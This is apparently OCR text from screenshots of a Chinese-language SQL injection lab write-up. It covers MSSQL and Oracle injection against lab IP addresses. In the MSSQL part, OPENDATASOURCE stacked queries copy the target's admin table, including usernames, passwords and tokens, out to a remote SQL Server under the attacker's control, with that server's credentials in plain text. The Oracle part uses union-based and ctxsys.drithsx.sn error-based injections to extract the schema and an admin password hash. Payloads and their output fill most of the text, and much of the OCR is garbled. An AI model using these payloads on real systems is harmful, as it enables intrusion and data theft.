4. BEZHiESHE: https://yunduanxin.net/

1. FEHEE
S L L —
HDOWA @ WASETA [Paimito.. @ VouTube @ 1(7)jpg (28x28) M Gmail BP 28 @ YouTube ¥ i@ EEEE  H OFNSE-SFETIH. ™M Gmail W Twitter — B & BT - MYFREEMP... » | B mmEz
i — [=] N > D ¥ i
/bé,%r HaRE | o meEs | BN
WZOweb
GYLQ123123-001 (W10-US) TP IASS
-
@ EHEE HEITE: SUESEEE >> SQL Server BIE 2021/7/27 T43:04:27 SHAZ
SpusaE
"
B nsees OwssaL
» SQL Server Eif FlR = PR 1
HhigrETiE 1000 Mb
» SQL Server 24 &
» MySQL B2
» MySQL izEl & © mssaL 3%
MR B &R HIERE URL 30k ERFTH EHE MR REEAE
R e
Q_ DNs 22 BRI R RE >

‘\

BIEmssqlEUERE



HHEEERI AR
© mssaL

HE EE IRER
iR ET A

© MssaL JiF
IR BB

DB_14DC186C_gylq

BRI E -

MsSQL =18
© SQL Server =12

EIREEEFR:
HIEEZER:
[R5
EiAEEER:
EfEERL:
BNRS:
=i =R
==[EfREN:
ZEIEE=E:

#iE = URL APE

S5QL5095 sited4now.net DB_14DC16C_gylg_admin

DB_14DC16C_gylg

SQL Server 2012
SQL5095.sitednow.net
1433

2433
DB_14DC16C_gylg_admin
A ORARROK &

500 MB &

7 MB

- R EEnavicatE BB E, EZRATRE R LI 2EK

EETHSR EHE R BB
g i HLeEHO

‘BEEFH

=~

1o
\' SAfEZnavicat
EEERE




thEgfE > Windows (C:) * Program Files > PremiumSoft » Navicat Premium 15

~

W

Ea

BFR

. ntunnel_mysql.php
8 ntunnel_pgsql.php
8 ntunnel_sqlite.php
% registration

| sha256_password.dll
sqlite.dll
sqlite3.dll

@ sqlncli.msi

ﬁ sqlncli_x64.msi
ssleay32.dll

& support

= ucrtbase.dll

[ ] unins000.dat

7 unins000.exe

D unins000.msg
veruntime140.dll
wshelp64.dll
zlib1.dll

{E=n =)

2019/5/21 18:07
2019/5/21 18:07
2019/5/21 18:07
2014/11/1212:24

2019/5/ :

/Wﬂws 9:47
200471112 12:24

2014/11/1212:24
2019/5/22 13:02
2014/11/1212:24
2019/2/22 9:51
2020/10/11 10:51
2020/10/11 10:50
2020/10/11 10:51
2019/2/22 9:51
2019/2/22 9:51
2019/5/22 13:02

@

PHP =r{%

PHP =r{&

PHP 3Z{%
Internet =iFEH
NFEERT R
WFERT R
NEERTE

Windows Install...

Windows Install...

WFERT R
Internet F4EG =,
NFEERT R
DAT 324%

M FHfERF

MSG 374
NFEERTE
NFEEFTE
WFERT R

F

16 KB

14 KB

15 KB

1 KB

86 KB
339 KB
1,307 KB
4,471 KB
7,885 KB
349 KB

1 KB
960 KB
24 KB
1,178 KB
9 KB

86 KB
36 KB
84 KB



FHl B4R SUBE SSH

MRz

Navicat HIEEE
EEE: EB=-GYL] |
E2ilN ‘ SQL5095.sitednow.net
EEUEE: ‘master |
BEAIE: SQL Server ¥HiE >
BrE: DB_14DC16C_gylq_admir]
=1 ‘oooooooo ‘

FE=15

BUHE

3. BEBMIE LI T




9 Navicat Premium - [m} X

x4 B8 =B wEk T2 =0 B == 1]

5% B = OB M S g B B &
HEE FEEE = e 2 B sQlServer&fy A &iisc @R E=
localhostmysql St ® [
v 3 EiEiE
~ £ DB_14DC16C_gylg
v & dbo
=E3
> 5 mE
> Jx B
> B E
v & guest
A=
> 5 mE
> S BREL
> A=

7= O fits Bigs U ks RSARS R SRS Q E

iff
#

0= i1 =5iE E DB 14DC16C gylg & dbo 0o

4. MR sqliERiEA)

AR IOFF B B0iR

MSSQLAE % 8%

4% P R % %3 URL: SQL5095.site4now.net
HWiEELFR: DB_14DC16C_gylq

F ;4. DB_14DC16C_gylq_admin

#: 12345678

o HRMFH

insert into
opendatasource('sqloledb’,'server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq').DE
_14A5E44_zkaq.dbo.temp select * from admin --

Insert into {R A 24l A5 4] SR )5 H IR T 1~opendatasource.

opendatasource 7 77 (BFEAR, T LLEIRAR N i Fopendatasource s #K 24  $04E FE B A0 45 R A IE R B — il

PERR 55 25 -

ik

OPENDATASOURCE(provider_name,init_string)

provider_name

FEME A Y- U5 1 B ) OLE DB et (FIPROGID I 44 # MSSQLIH4#5ySQLOLEDB
init_string
EET T

HERE AL, WO, P4, B, HiEES
server=iEH bt im 1 uid=H] /" 4 ;pwd="%1%;database=43 & £ 75

et b R4S 48 5 1% E #¥E %DB_14A5E44_zkaq.dbo.temp )5 [ 15 &) Y A 45 S4E A B AN R B i



http://59.63.200.79:8015/?1d=1";1insert into opendatasource('sqloledb’, 'server=SQL5095.site4now.net,1433;uid=DB_1
4DC16C_gylq_admin; pwd=12345678;database=DB_14DC16C_gylq').DB_14DC16C_gylq.dbo.test select table_name from inform

ation_schema.tables --+

@ 59.63.200.79:8015/7id=1%27; X =+ (] = x

<« C A F&£| 59.63.200.79:8015/?id=1%27;insert%20into%200pendatasource(%27sqloledb%27, %27server=SQL5095 sitednow.n... ¥ M ﬁ @ 4 R & :

WA @ WASETA [Palmito.. E YouTube @ 1(7)jpg (28x28) ™ Gmail BF 28 @ VouTube B tE ELER & NSE-SETR. M Gmal » EimEs

id Title Body

1 E41kSQLServerfiEd [iREBIDEREIR? EOIEFRNEHERDLL, EHRISEIENIHEFAFEN I D#{TIEE T create table tableName( id int identity(1,1) primz l@
AanEng? key, data varchar(50) ) /* identity(1,1)St2E 58N 55— SHEMFHEE N E2IBEE, primary key2F5E8 */

Y ﬂ Elements Console Sources Network Performance Memory Application Lighthouse EditThisCookie HackBar B3 ﬂ X
Encryption ~ Encoding~ SQL~ XSS~ LFI~ XXE~ Other~ Help!

PR LRV hitp://59.63.200.79:8015/?id=1";insert into
opendatasource('sgloledb','server=SQL 5095 site4now.net, 1433;uid=DB_14DC16C_gylq_admin;pwd=12345678;database=DB_14DC16C_gyiq').DB_14DC16C_gylq.dbo.test

9@ Spiit URL select table_name from information_schema_tables —

) Execute .
N (O Postdata (O Referer (J UserAgent (J Cookies Clear All

o BEWBRIH —THMHALRT

e B iR - B8 % * ot @DB_14DC16C_gylq.d... | B tes

EIHATE B xF -Vt SHFE

test
admin
dtproperties

REA F 5

/lq

A news
sysconstraints
syssegments

s BFYR
http://59.63.200.79:8015/?1d=1";1nsert into opendatasource('sqloledb’, 'server=SQL5095.site4now.net,1433;uid=DB_1
4DC16C_gylq_admin; pwd=12345678;database=DB_14DC16C_gylq').DB_14DC16C _gylq.dbo.test select column_name from infor

mation_schema.columns where table_name='admin' --+



=2 &8 ~ 4. 8 & % B [E
=

E R BF SQL Server & =&  Bshisit EE E=
E BB i - Z9 B3 * ot @DB_14DC16C_gylq.d... |F# test @DB_14DC16C_gylg.dbo

Efess BxF- Ve lzHE ESA RS54
test
 CE
username
passwd
token

o Fiflag, BIEMANFEB, $ATLATiEA, 4RJ5navicathl¥— T skl

http://59.63.200.79:8015/?1d=1";1insert into opendatasource('sqloledb’, 'server=SQL5095.site4now.net,1433;uid=DB_1
4DC16C_gylq_admin; pwd=12345678;database=DB_14DC16C_gylq').DB_14DC16C_gylq.dbo.test select 1id,username,passwd, tok
en from admin --+



localhostmysql B * i @DB_14DC16C_gylq.d... |EP test @DB_14DC16C_gylg.dbo (... |E test @DB_14DC16
' =
?Eﬁff_mmwc_gqu 5 Frt=s S - VimE S8 RBA RS
v &a dbo test1 test2  test3  testd
vM@= >_ admin  admin  zkaq{e9c9e67c5}
[T test
& e
> [ B
=
v & guest
M=
> @ mE

> fr B {gﬁ%T

> B ER

(R TR - Ea

Oracle— R EEFE AN BEEEAN

ZSJFEE: http://59.63.200.79:8808/index_x.php (X B ] LLik4%E— Foraclei&f))
1E: http://59.63.200.79:8808/

o MBI 3] Foraclei&ik

Dual/z -4 s (A ARERER) ,» WRREENRNE, EHER X, 5% ADUMMY
B EZeftamge?
‘ERbr AR 1AL A R A R
He Al f o Rl /1 % select user from Dual

VR Rgiek . GGE{HBEHLAEL: select dbms_random.random from dual)
IEREMUINEET):: select 9+1 from dual

° ER



6

C A FZ&£| 59.63.200.79:8808/index x.php

WA @ WASETA |Palmito...

B YouTube

@ 1(7)jpg (28x28) P Gmail

2 #tE @ YouTube

|se|ect * from dual

1#3r

HhiTisql: select * from dual

DUMMY

X

o HMHPTHKIR

&

2 OWA @ WASETA [Palmito...

@ 59.63.200.79:8808/index xph: X  +

C A FZ%| 59.63.200.79:8808/index x.php

B YouTube

@ 1(7)jpg (28x28) ™M Gmail B¥ twE

O vouTube B it HEER & RNSIE-aRTs

‘ select * from all_tables

i=3r

HiTHsql: select * from all_tables

OWNER TABLE NAME TABLESPACE NAME [CLUSTER NAME IOT NAME|STATUS|PCT FRI
SYS DUAL SYSTEM VALID [10
SYS SYSTEM PRIVILEGE MAP SYSTEM VALID [10
SYs TABLE PRIVILEGE_MAP SYSTEM VALID [10
SYS STMT_AUDIT OPTION_MAP SYSTEM VALID [10
SYS AUDIT ACTIONS SYSTEM VALID [10
SYS PSTUBTBL VALID [10
SYs WRI$ ADV ASA RECO DATA VALID [10
SYS PLAN TABLES VALID [10
SYSTEM oL VALID [10
SYSTEM OLSHINTS VALID [10

o Fr AR JE A orcleff R 3 A fik Fl informationT , M all_tables, %41



| select table_name from all_tables

123r

H1TR9sqgl: select table name from all_tables

TABLE NAME

DUAL

SYSTEM PRIVILEGE MAP

TABLE PRIVILEGE MAP

STMT AUDIT OPTION MAP

AUDIT ACTIONS

WRR$ REPLAY CALL FILTER

HS BULKLOAD VIEW OB)

HSS PARALLEL METADATA

HS PARTITION COL NAME

HS PARTITION COL TYPE

IHELP

o BIWHI AR

select * from user_tables

|sﬁect*ﬂ0n1use[jaMe5

'3
Hi7H0sqgl: select * from user tables
TABLE_NAME | TABLESPACE_NAME|CLUSTER_NAME|IOT_NAME|STATUS|PCT_FREE|PCT_USED|INI_TRANS|MAX TRAN
ADMIN ORACLE1_DATA VALID |10 1 255
NEWS ORACLE1 DATA VALID |10 1 255
MD5 ORACLE1 DATA VALID |10 1 255
s BHHIIATR

select * from all_tab_columns

o HMHHETH T F&



select * from user_tab_columns
=3
HiTRIsql: select * from user_tab_columns
7
TABLE_NAME|COLUMN_NAME|DATA TYPE|DATA TYPE MOD|DATA TYPE OWNER|DATA LENGTH|DATA_PRECISION|DATA _SCALE|NULLABLE|COLU:..
MD5 MD5 CHAR 32 N 1
MD5 VAL CHAR 32 N 2
NEWS D NUMBER 22 10 0 N 1
NEWS TITLE NVARCHAR2 400 N 2
NEWS BODY NVARCHAR2 4000 N 3
NEWS TIME NUMBER 22 10 0 N 4
ADMIN UNAME CHAR 10 N 1
ADMIN UPASS CHAR 32 N 2
o A

select * from v$version

‘ select * from v$version
b

H47R0sql: select * from v$version

BANNER
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
PL/SQL Release 11.2.0.2.0 - Production
CORE 11.2.0.2.0 Production
TNS for Linux: Version 11.2.0.2.0 - Production
NLSRTL Version 11.2.0.2.0 - Production

o« NTHTFHORS, rownumts TG CFHIZ 8 B K B 4750
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select * from user_tables where rownum=1
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MiTA9sgl: select * from user_tables where rownum=1
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select * from user_tab_columns where rownum=1 and column_name<>'UNAME'



select * from user_tab_columns where rownum=1 and column_name<>UNAME'
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H1T789sql: select * from user tab_columns where rownum=1 and column_name<>'UNAME

TABLE NAME|COLUMN_NAME|DATA TYPE|DATA TYPE_ MOD DATA TYPE OWNER|DATA LENGTH|DATA PRECISION DA’
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select * from (select column_name, rownum n from user_tab_columns) where n=2
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HiT7AIsqgl: select * from (select column_name, rownum n from user tab_columns) where n=2
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HiTHsql: select * from news where ID=1 order by 4
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@ Load URL http://59.63.200.79:8808/?id=1 order by 4{
i split URL
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http://59.63.200.79:8808/?1d=1.1 union all select 1,to _nchar('MAs"),to_nchar('#EAK"),4 from dual

#iTHsql: select * from news where ID=1.1 union all select 1,to_nchar(EAT),to_nchar(5EAL"),4 from dual
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@ Load URL http://59.63.200.79:8808/2id=1.1 union all select 1,to_nchar(EA51),to_nchar(5EALT),4 from dual
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http://59.63.200.79:8808/?1d=1.1 union all select * from (select rownum n,to_nchar(table_name),to_nchar('ZFAm"
),4 from user_tables) where n=1
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g Load URL hitp://59.63.200.79:8808/?id=1.1 union all select 1,io_nchar(table_name),to_nchar(5EA\2'),4 from user_tables where rownum=1|
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http://59.63.200.79:8808/?1d=1.1 union all select * from (select rownum n,to_nchar(table_name),to_nchar('ZFEAm"
),4 from user_tables) where n=3

HAThHIsql: select * from news where ID=1.1 union all select * from (select rownum n,to_nchar(table name),to nchar(FEAs")4 from user tables) where n=3
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g Load URL http://59.63.200.79:8808/?id=1.1 union all select * from (select rownum n,to_nchar(table_name),to_nchar(;EA'),4 from user_tables) where n=3
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http://59.63.200.79:8808/?id=1.1 union all select * from (select rownum n,to_nchar(column_name),to_nchar( ' ENH
'),4 from user_tab_columns) where n=1

#iTHsql: select * from news where ID=1.1 union all select * from (select rownum n,to_nchar(UNAME),to_nchar(UPASS),4 from admin) where n=2
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g Load URL http://59.63.200.79:8808/?id=1.1 union all select * from (select rownum n,to_nchar(UNAME),to_nchar(UPASS),4 from admin) where n=2
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CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))
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select 1 from dual where 1=1 and 1=ctxsys.drithsx.sn(1, (select to_nchar('Z4 ") from dual))



|se\ect1 from dual where 1=1 and 1=ctxsys.drithsx.sn(1,(select to_nchar('B%8x") from dual))
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HiTM9sqgl: select 1 from dual where 1=1 and 1=ctxsys.drithsx.sn(1,(select to_nchar( @BfEs3") from dual))

Warning: oci_execute(): ORA-20000: Oracle Text error: DRG-11701: thesaurus @fE57 does not exist ORA-06512: at "CTXSYS.DRUE", line 160 ORA-06512:
"CTXSYS.DRITHSX", line 540 ORA-06512: at line 1 in /usr/src/myappfB-Oraclelffject1-FZ/www/index x.php on line 17
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select 1 from dual where 1=1 and 1l=ctxsys.drithsx.sn(1,(select table_name from (select rownum n, table_name from
user_tables) where n=3))

‘se\ecl 1 from dual where 1=1 and 1=ctxsys.drithsx.sn(1 (select table_name from (select rownum n, table_name from user_tables) where n=3))
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HATAsql: select 1 from dual where 1=1 and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum n, table_name from user_tables) where n=3))
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Warning: oci_execute(): ORA-20000: Oracle Text error: DRG-11701: thesaurus ADMIN does not exist ORA-06512: at "CTXSYS.DRUE", line 160 ORA-06512: at
"CTXSYS.DRITHSX", line 540 ORA-06512: at line 1 in /usr/src/myapp/B—OracIeInjexl -FZ/www/index_x.php on line 17
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select 1 from dual where 1=1 and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum n, column_name fr
om user_tab_columns) where n=2))

|se\ect 1 from dual where 1=1 and 1=ctxsys drithsx sn(1 (select column_name from (select rownum n, column_name from user_tab_columns) where n=2))
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HiTHIsql: select 1 from dual where 1=1 and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum n, column_name from user tab_columns) where
) FER

Warning: oci_execute(): ORA-20000: Oracle Text error: DRG-11701: thesaurus UPASS does not exist ORA-06512: at "CTXSYS.DRUE", line 160 ORA-06512: at
"CTXSYS.DRITHSX", line 540 ORA-06512: at line 1 in /usr/src/myapp/B-Oraclelnject1-FZ/www/index x.php on line 17
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http://59.63.200.79:8808/?1d=1 and 1=ctxsys.drithsx.sn(1, (select banner from(select rownum n, banner from v$vers
ion) where n=1))

HiT8sql: select * from news where ID=1 and 1=ctxsys.drithsx.sn(1,(select banner from(select rownum n, banner from v$version) where n=1))
Warning: oci_execute(): ORA-20000: Oracle Text error: DRG-11701: thesaurus Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production doe

exist ORA-06512: at "CTXSYS.DRUE", line 160 ORA-06512: at "CTXSYS.DRITHSX", line 540 ORA-06512: at line 1 in /usr/src/myapp/B-Oraclelnject1-
FZ/www/index.php on line 13
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http://59.63.200.79:8808/?1d=1 and 1=ctxsys.drithsx.sn(1, (select table_name from(select rownum n, table_name fro
m user_tables) where n=3))

HiTAsql: select * from news where ID=1 and 1=ctxsys.drithsx.sn(1,(select table name from(select rownum n, table name from user tables) where n=3))

"
Warning: oci_execute(): ORA-20000: Oracle Text error: DRG-11701: thesaurus ADMIN does not exist ORA-06512: at "CTXSYS.DRUE", line 160 ORA-06512: at
"CTXSYS.DRITHSX", line 540 ORA-06512: at line 1 in /usr/src/myapp/B-Oraclelnject1-FZ/www/index.php on line 13
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http://59.63.200.79:8808/?1d=1 and 1=ctxsys.drithsx.sn(1, (select column_name from(select rownum n, column_name f
rom user_tab_columns) where n=2))



Warning: oci_execute(): ORA-20000: Oracle Text error: DRG-11701: thesaurus UPASS does not exist ORA-06512: at "CTXSYS.DRUE", line 160 ORA-06512: at "CTXSYS.DRITHSX", line 540 ORA-06512:
at line 1 in /usr/src/myapp/B-Oraclelnject1-FZ/www/index.php on line 13 @
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‘gl Load URL http://59.63.200.79:8808/?id=1 and 1=ctxsys drithsx.sn(1,(select column_name from(select rownum n, column_name from user_tab_columns) where n=2))
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http://59.63.200.79:8808/?id=1 and 1l=ctxsys.drithsx.sn(1,(select upass from(select rownum n, upass from admin) w
here n=2))

Warning: oci_execute(): ORA-20000: Oracle Text error: DRG-11701: thesaurus 2a61f8bcfe7535eadcfa69eb4406ceb9 does not exist ORA-06512: at "CTXSYS.DRUE", line 160 ORA-06512: at
"CTXSYS.DRITHSX", line 540 ORA-06512: at line 1 in /usr/src/myapp/B-Oraclelnject1-FZ/www/index.php on lifg 13
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@ Load URL http://69.63.200.79:8808/?id="1 and 1=ctxsys.drithsx.sn(1,(select upass from(select rownum n, upass from admin) where n=2))
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